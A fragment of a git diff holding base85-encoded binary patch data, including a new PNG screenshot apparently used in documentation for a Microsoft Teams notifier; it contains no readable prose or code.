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

literal 0
HcmV?d00001

diff --git a/_images/notifier/microsoft_teams/message.png b/_images/notifier/microsoft_teams/message.png
new file mode 100644
index 0000000000000000000000000000000000000000..5c4c7f11ed12fed720f4b227a27c76b7c2e9b46b
GIT binary patch
literal 7777
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
